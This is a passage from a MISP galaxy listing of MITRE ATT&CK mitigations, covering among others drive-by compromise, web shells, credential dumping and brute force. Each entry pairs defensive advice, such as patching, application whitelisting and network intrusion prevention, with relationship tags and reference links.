- mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Table 4712. Table References

Links
https://attack.mitre.org/mitigations/T1188

Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-course-of-action="Drive-by Compromise Mitigation - T1189"*

View relationships graph

Drive-by Compromise Mitigation - T1189 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

Table 4713. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1189
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
https://en.wikipedia.org/wiki/Control-flow_integrity

Data Obfuscation Mitigation - T1001

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Data Obfuscation Mitigation - T1001"*

View relationships graph

Data Obfuscation Mitigation - T1001 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

Table 4714. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1001

Web Shell Mitigation - T1100

Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

The tag is: *misp-galaxy:mitre-course-of-action="Web Shell Mitigation - T1100"*

View relationships graph

Web Shell Mitigation - T1100 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Table 4715. Table References

Links
https://attack.mitre.org/mitigations/T1100
https://www.us-cert.gov/ncas/alerts/TA15-314A

Automated Exfiltration Mitigation - T1020

Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation:

Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Automated Exfiltration Mitigation - T1020"*

View relationships graph

Automated Exfiltration Mitigation - T1020 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 4716. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1020
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Hardware Additions Mitigation - T1200

Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.

Block unknown devices and accessories by endpoint security configuration and monitoring agent.

The tag is: *misp-galaxy:mitre-course-of-action="Hardware Additions Mitigation - T1200"*

View relationships graph

Hardware Additions Mitigation - T1200 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

Table 4717. Table References

Links
https://attack.mitre.org/mitigations/T1200
https://en.wikipedia.org/wiki/IEEE_802.1X

Data Compressed Mitigation - T1002

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: *misp-galaxy:mitre-course-of-action="Data Compressed Mitigation - T1002"*

View relationships graph

Data Compressed Mitigation - T1002 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 4718. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1002
https://technet.microsoft.com/en-us/library/ee791851.aspx

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

The tag is: *misp-galaxy:mitre-course-of-action="Credential Dumping Mitigation - T1003"*

View relationships graph

Credential Dumping Mitigation - T1003 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 4719. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://adsecurity.org/?p=1729
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1003
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html

https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach
https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard
https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard
https://technet.microsoft.com/en-us/library/dn408187.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://technet.microsoft.com/library/jj865668.aspx

System Partition Integrity - M1004

Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.

The tag is: *misp-galaxy:mitre-course-of-action="System Partition Integrity - M1004"*

View relationships graph

System Partition Integrity - M1004 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"

Table 4720. Table References

Links
https://attack.mitre.org/mitigations/M1004

Network Sniffing Mitigation - T1040

Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Sniffing Mitigation - T1040"*

View relationships graph

Network Sniffing Mitigation - T1040 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-

language:likelihood-probability="almost-certain"

Table 4721. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1040
https://technet.microsoft.com/en-us/library/ee791851.aspx

New Service Mitigation - T1050

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="New Service Mitigation - T1050"*

View relationships graph

New Service Mitigation - T1050 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 4722. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1050
https://technet.microsoft.com/en-us/library/ee791851.aspx

Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Fallback Channels Mitigation - T1008"*

View relationships graph

Fallback Channels Mitigation - T1008 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 4723. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1008

Binary Padding Mitigation - T1009

Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Binary Padding Mitigation - T1009"*

View relationships graph

Binary Padding Mitigation - T1009 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"

Table 4724. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1009
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

The tag is: *misp-galaxy:mitre-course-of-action="Encrypt Network Traffic - M1009"*

View relationships graph

Encrypt Network Traffic - M1009 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"

Table 4725. Table References

Links

https://attack.mitre.org/mitigations/M1009
https://developer.android.com/training/articles/security-config.html
https://techcrunch.com/2016/06/14/apple-will-require-https-connections-for-ios-apps-by-the-end-of-2016/

Brute Force Mitigation - T1110

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.

The tag is: *misp-galaxy:mitre-course-of-action="Brute Force Mitigation - T1110"*

View relationships graph

Brute Force Mitigation - T1110 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 4726. Table References

Links
https://attack.mitre.org/mitigations/T1110
https://pages.nist.gov/800-63-3/sp800-63b.html

Query Registry Mitigation - T1012

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Query Registry Mitigation - T1012"*

View relationships graph

Query Registry Mitigation - T1012 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 4727. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1012
https://technet.microsoft.com/en-us/library/ee791851.aspx

Web Service Mitigation - T1102

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Web Service Mitigation - T1102"*

View relationships graph

Web Service Mitigation - T1102 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 4728. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1102

Application Developer Guidance - M1013

This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.

The tag is: *misp-galaxy:mitre-course-of-action="Application Developer Guidance - M1013"*

View relationships graph

Application Developer Guidance - M1013 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1416" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="XPC Services - T1559.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

Table 4729. Table References

Links
https://attack.mitre.org/mitigations/M1013

AppInit DLLs Mitigation - T1103

Upgrade to Windows 8 or later and enable secure boot.

Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="AppInit DLLs Mitigation - T1103"*

View relationships graph

AppInit DLLs Mitigation - T1103 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"

Table 4730. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1103

Network Intrusion Prevention - M1031

Use intrusion detection signatures to block traffic at network boundaries.

The tag is: *misp-galaxy:mitre-course-of-action="Network Intrusion Prevention - M1031"*

View relationships graph

Network Intrusion Prevention - M1031 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2

Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 4731. Table References

Links
https://attack.mitre.org/mitigations/M1031

Port Monitors Mitigation - T1013

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: *misp-galaxy:mitre-course-of-action="Port Monitors Mitigation - T1013"*

View relationships graph

Port Monitors Mitigation - T1013 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Port Monitors - T1013" with estimative-language:likelihood-probability="almost-certain"

Table 4732. Table References

Links
